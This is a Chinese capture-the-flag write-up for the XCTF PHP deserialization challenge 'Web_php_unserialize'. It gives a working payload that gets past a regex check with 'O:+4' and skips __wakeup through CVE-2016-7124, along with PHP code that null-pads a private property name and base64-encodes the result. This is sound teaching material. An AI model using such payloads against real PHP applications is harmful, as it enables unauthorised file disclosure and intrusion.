刚学php序列化/反序列化遇到的坑(攻防世界:Web_php_unserialize)

刚开始遇到题目的时候,思路还是很明确。

原题入口:攻防世界 (xctf.org.cn) 中的 Web_php_unserialize

两个函数

php 复制代码
serialize()     //将一个对象转换成一个字符串
unserialize()   //将字符串还原成一个对象

首先看到 **unserialize()**可以知道基本上能得知突破口在 php 的反序列化问题上。

1、__construct()

触发:使用关键字new实例化对象时会自动调用构造方法3.

2.__desctruct()

触发:析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

3.__wakeup

触发:反序列化恢复对象前调用该方法。

序列化对象:

php 复制代码
<?php
header('Content-type:text/html;charset=utf-8');
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        print("<br>调用了__destruct<br>");
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        print("<br>调用了__wakeup<br>");
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$d = new Demo("fl4g.php");
$er = serialize($d);
print($er);
?>

查看结果(为了方便看到调用哪个魔术方法。我自行在类中打印调用过程):

此时测试base64编码的值,会发现会被正则表达式检测到。

'/oc:\d+:/i'含义是:匹配o或c任意一个,冒号,至少一个数字,冒号,不区分大小写

是定义匹配的字符范围

oc是匹配o或c任意一个

xyz 字符集合。匹配所包含的任意一个字符。例如, 'abc' 可以匹配 "plain" 中的 'a'。

常见绕过方式:利用+绕过。所以将POC改成

'O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}'

此时已经成功绕过了正则判断,但由于序列化对象会先执行__wakeup(),当 this 的 file 不为 index.php 的时候,会将 this->file 强行改为 index.php。所以需要绕过 __wakeup()。

漏洞:

PHP反序列化漏洞(cve-2016-7124)

漏洞版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

漏洞利用方法:

若在对象的魔法函数中存在的__wakeup方法,那么之后再调用 unserilize() 方法进行反序列化之前则会先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

所以构造的POC为:

'O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}'

此时有个坑,就是这里的 file 变量为私有变量,所以序列化之后的字符串开头结 尾各有一个空白字符(即%00),类似的还有 protected 类型的变量,序列化之后字符串首部会加上%00*%00。 (所以并不能直接复制粘贴取base64编码)

所以,我选择利用 php 自带的chr() 函数进行拼接,再利用 base64_encode() 得出结果。

关键语句:

php 复制代码
$err = 'O:+4:"Demo":2:{s:10:"'.chr(0).'Demo'.chr(0).'file";s:8:"fl4g.php";}';

构造poc,生成最终的编码

php 复制代码
<?php
header('Content-type:text/html;charset=utf-8');
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        print("<br>调用了__destruct<br>");
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        print("<br>调用了__wakeup<br>");
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$err = 'O:+4:"Demo":2:{s:10:"'.chr(0).'Demo'.chr(0).'file";s:8:"fl4g.php";}';
print($err.'的base64编码结果为:'.base64_encode($err).'<br>');
?>

查看结果:

最后将结果拼接在var参数中:

拿到flag。

相关推荐
fqbqrr5 小时前
2606C++,C++构的多态
开发语言·c++
云边云科技_云网融合5 小时前
云边云科技亮相 2026 WOD 制造业数智化博览会 云网融合赋能制造焕新
人工智能·科技·安全·制造
biter down5 小时前
从 0 到 1 搭建 Python 接口自动化测试框架(博客系统实战)
开发语言·python
56AI7 小时前
2026 企业级AI智能体开发平台推荐:聚焦底层安全与准确率的智能体平台
人工智能·安全·智能体
threelab7 小时前
Three.js 物理模拟着色器 | 三维可视化 / AI 提示词
开发语言·前端·javascript·人工智能·3d·着色器
武器大师727 小时前
lv_binding_js 代码解读
开发语言·javascript·ecmascript
不知名的老吴7 小时前
线程的生命周期之线程“插队“
java·开发语言·python
kaikaile19958 小时前
数字全息图处理系统(C# 实现)
开发语言·c#
站斧小威8 小时前
TikTok跨境电商浏览器怎么使用:多账号防关联,IP独立隔离
安全